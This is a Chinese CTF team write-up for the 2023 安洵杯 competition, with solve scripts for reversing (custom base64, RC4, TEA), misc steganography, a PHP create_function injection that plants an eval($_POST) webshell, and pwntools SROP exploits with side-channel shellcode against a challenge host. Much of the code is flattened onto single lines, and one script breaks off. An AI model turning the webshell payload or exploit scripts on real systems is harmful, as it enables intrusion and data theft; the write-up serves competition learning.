2023安洵杯-秦岭防御军wp-编程知识

reverse

感觉有点点简单##

import base64
def ba64_decode(str1_1):mapp = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"data_1 = [0] * 4flag_1 = [0] * 3for i in range(32, 127):for y in range(32, 127):for k in range(32, 127):flag_1[0] = iflag_1[1] = yflag_1[2] = kdata_1[0] = (mapp[flag_1[0] & 0x3f])data_1[1] = (mapp[(4 * (flag_1[1] & 0xF)) | ((flag_1[0] & 0xC0) >> 6)])data_1[2] = (mapp[(16 * (flag_1[2] & 3)) | (flag_1[1] & 0xf0) >> 4])data_1[3] = (mapp[(flag_1[2] & 0xfc) >> 2])if data_1 == str1_1:print(flag_1)returnprint("fales!")encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw")
for i in range(0, len(encoded_str), 4):print("encData=", [x for x in encoded_str[i:i + 4]])ba64_decode([x for x in encoded_str[i:i + 4]])

import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):# Key-Scheduling Algorithm (KSA)key_length = len(key)S = list(range(64))j = 0for i in range(64):j = (j + S[i] + key[i % key_length]) % 64S[i], S[j] = S[j], S[i]i = j = 0plaintext = bytearray()for char in ciphertext:i = (i + 1) % 64j = (j + S[i]) % 64S[i], S[j] = S[j], S[i]keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]plaintext.append(char ^ ((i^j)&keystream_byte))return bytes(plaintext)key = [ord(x)for x in 'the_key_']
#填写key
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50,0]
print(rc4_decrypt(key,data))

剩下一个字符，直接从ABC开始猜，要求出来需要改变那个=，D0g3{608292C4-15400BA4-B3299A5C-704C292D}

牢大想你了

from ctypes import *def decrypt(v, k):v0 = c_uint32(v[0])v1 = c_uint32(v[1])delta =2654435769sum1 = c_uint32(delta * 32)for i in range(32):v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])sum1.value -= deltafor i in range(4):print(chr((v0.value>>8*i)&0xff),end='')for i in range(4):print(chr((v1.value>>8*i)&0xff),end='')if __name__ == '__main__':a = [3363017039, 1247970816, 549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,4010321577, 2743404694]k = [286331153, 286331153, 286331153, 286331153]for i in range(0,len(a),2):res = decrypt(a[i:i+2], k)

it_is_been_a_long_day_without_you_my_friend

你见过蓝色的小鲸鱼

##  re5sub_4577E0函数中的操作包括输入长度获取，加密和比较等```c
CHAR *__cdecl sub_4577E0(HWND hDlg)
{CHAR *result; // eaxCHAR *v2; // [esp+10h] [ebp-154h]void *v3; // [esp+24h] [ebp-140h]CHAR *v4; // [esp+114h] [ebp-50h]CHAR *lpString; // [esp+120h] [ebp-44h]HWND DlgItem; // [esp+12Ch] [ebp-38h]HWND hWnd; // [esp+138h] [ebp-2Ch]int v8; // [esp+144h] [ebp-20h]int WindowTextLengthA; // [esp+150h] [ebp-14h]__CheckForDebuggerJustMyCode(&unk_52105E);hWnd = GetDlgItem(hDlg, 1003);DlgItem = GetDlgItem(hDlg, 1004);WindowTextLengthA = GetWindowTextLengthA(hWnd);v8 = GetWindowTextLengthA(DlgItem);lpString = (CHAR *)j__malloc(__CFADD__(WindowTextLengthA, 16) ? -1 : WindowTextLengthA + 16);result = (CHAR *)j__malloc(__CFADD__(v8, 16) ? -1 : v8 + 16);v4 = result;if ( lpString && result ){GetWindowTextA(hWnd, lpString, WindowTextLengthA + 16);GetWindowTextA(DlgItem, v4, v8 + 16);v3 = operator new(0x10u);if ( v3 ){sub_451B43(0x10u);v2 = (CHAR *)sub_450CE3(v3);}else{v2 = 0;}sub_44FC2B(&unk_51D38C, 0x10u);sub_45126F(lpString, WindowTextLengthA, (int)v4, v8);sub_450199(v2);j__free(lpString);j__free(v4);result = v2;if ( v2 )return (CHAR *)sub_44F77B(1);}return result;
}

sub_45126F-->sub_4571A0
![image-20231223221451173.png](https://cdn.nlark.com/yuque/0/2023/png/36009450/1703342216581-65b8a127-38a3-4ebd-9856-14f3dbbdbe5e.png#averageHue=%23fdfdfd&clientId=u84f2d8f1-b3dc-4&from=paste&height=618&id=ude35dac3&originHeight=618&originWidth=783&originalType=binary&ratio=1&rotation=0&showTitle=false&size=35009&status=done&style=none&taskId=uda055ff9-b505-4ecd-a4ea-cf61cf572b1&title=&width=783)
```markdown
sub_4521B5(&unk_51C048, &unk_51C000);会对两段数据进行操作sub_451F08(a4, a5);为关键加密sub_451F08-->sub_456120

sub_456120将密码和密码长度赋值后加密sub_4522FA-->sub_456930

该函数加密两次8字节

将之前的两个数据异或进行交换就可以，加密赋值后翻转

上图为主要解密函数

最后输出需要两两交换
D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}

web

what’s my name

通过** $_GET** 获取了两个参数：**d0g3** 和**name**。对**$ d0g3** 进行了正则匹配，要求其满足一定的模式：以任意5个字符为一组重复出现，最后以 include 结尾。

如果条件满足，会再次使用create_function 创建一个匿名函数，该函数用于排序数组。可以通过构造d0g3 的值是 “]);}file_put_contents(“she22.php”,”<?php eval($_POST[3]);");/ainclude，而 name 的值是 %00lambda_72

由于*$miao** 的值是动态生成的字符串，而不是一个静态值，所以我们通过暴力破解的方式尝试绕过

经过爆破，发现状态码为4204的代表成功

连接webshell

查看admin.php,需要从本地访问

通过http协议访问自己，成功获取flag

caf06c32-a18c-11ee-8c62-00163e0447d0

easy_unserizlize

flag{6f1395d6-a18e-11ee-844d-00163e0447d0}

MISC

misc4

winhex打开文件
图片.png
逆向这个文件

发现是一个jpg图片，保存
然后解密图片

Misc-dacongのsecret

爆破宽和高，得到压缩包密码

解压包

base64隐写得到密码

利用JPHS解密得到flag

misc-dacongのWindows

发现一个音频文件，sstv

并且得到flag的一部分flag{Ar3_Th3Y
利用工具进行处理得到一段_tHE_Dddd

找到这两段

U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e
d@@Coong_LiiKEE_F0r3NsIc
利用ase进行解密

得到
dAc0Ng_SIst3Rs???}
进行flag拼接
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}

crypto

010101

pwn

side_channel , initiate!


#!/usr/bin/python
#encoding:utf-8from pwn import *context.clear(arch='amd64')aaa = ELF('./chall')bbb = "-0123456789abcdefghijklmnopqrstuvwxyz{}"syscall_got = aaa.got['syscall']
syscall_plt = aaa.plt['syscall']bs = 0x404060leave_ret = 0x000000000040136c
mov_rax_15 = 0x0000000000401193
syscall_ret = 0x000000000040118aframe_write = SigreturnFrame()
frame_write.rdi = 10
frame_write.rsi = bs >> 12 << 12
frame_write.rdx = 0x1000
frame_write.rcx = 7
frame_write.rsp = bs + 0x110
frame_write.rip = syscall_pltframe_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 0
frame_read.rdx = bs + 0x300
frame_read.rcx = 0x100
frame_read.rsp = bs + 0x300
frame_read.rip = syscall_pltdef pwn(pos, char):p.recvuntil(b'easyhack')payload = b'flag'.ljust(8, b'\x00')payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_write)payload = payload.ljust(0x100, b'\x00')payload += p64(mov_rax_15) + p64(syscall_ret) + bytes(frame_read)p.send(payload)p.recvuntil(b'what is SUID')payload = b'a' * (0x32 - 0x8) + p64(bs) + p32(leave_ret)payload = payload.ljust(58, b'\x00')p.send(payload)shellcode = f'''/* open("flag") */push 2pop raxmov rdi, 0x67616c66push rdimov rdi, rspxor rsi, rsisyscall/* read flag */push raxpop rdimov rsi, 0x404500push 0x50pop rdxxor rax, raxsyscall/* blow up flag */mov al, byte ptr [rsi+{pos}]cmp al, {char}ja $-2/* exit_group */xor edi, edipush 0xe7pop raxsyscall'''payload = p64(bs + 0x308) + asm(shellcode)sleep(0.1)p.send(payload)if __name__ == '__main__' :fstart = time.time()pos = 0flag = "flag{"while True:left, right = 0, len(bbb) - 1while left < right :mid = (left + right) >> 1# p = proces

Seccomp

#!/usr/bin/python
#encoding:utf-8from pwn import *context.clear(arch='amd64')elf = ELF('./chall')#p = process('./chall')
p = remote('47.108.206.43',24253)syscall_got = elf.got['syscall']
syscall_plt = elf.plt['syscall']bss = 0x404060
leave_ret = 0x40136c
mov_rax_15_ret = 0x401193
syscall_ret = 0x40118aframe_open = SigreturnFrame()
frame_open.rdi = 2
frame_open.rsi = bss
frame_open.rdx = 0
frame_open.rsp = bss + 0x110
frame_open.rip = syscall_pltframe_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 3
frame_read.rdx = bss + 0x500
frame_read.rcx = 0x200
frame_read.rsp = bss + 0x218
frame_read.rip = syscall_pltframe_write = SigreturnFrame()
frame_write.rdi = 1
frame_write.rsi = 1
frame_write.rdx = bss + 0x500
frame_write.rcx = 0x40
frame_write.rsp = bss + 0x320
frame_write.rip = syscall_pltp.recvuntil(b'easyhack')
payload = b'flag'.ljust(8, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_open)
payload = payload.ljust(0x100, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)
payload = payload.ljust(0x200, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)
p.send(payload)p.recvuntil(b'what is SUID')
payload = b'a' * (0x32 - 0x8) + p64(bss) + p32(leave_ret)
p.send(payload)p.interactive()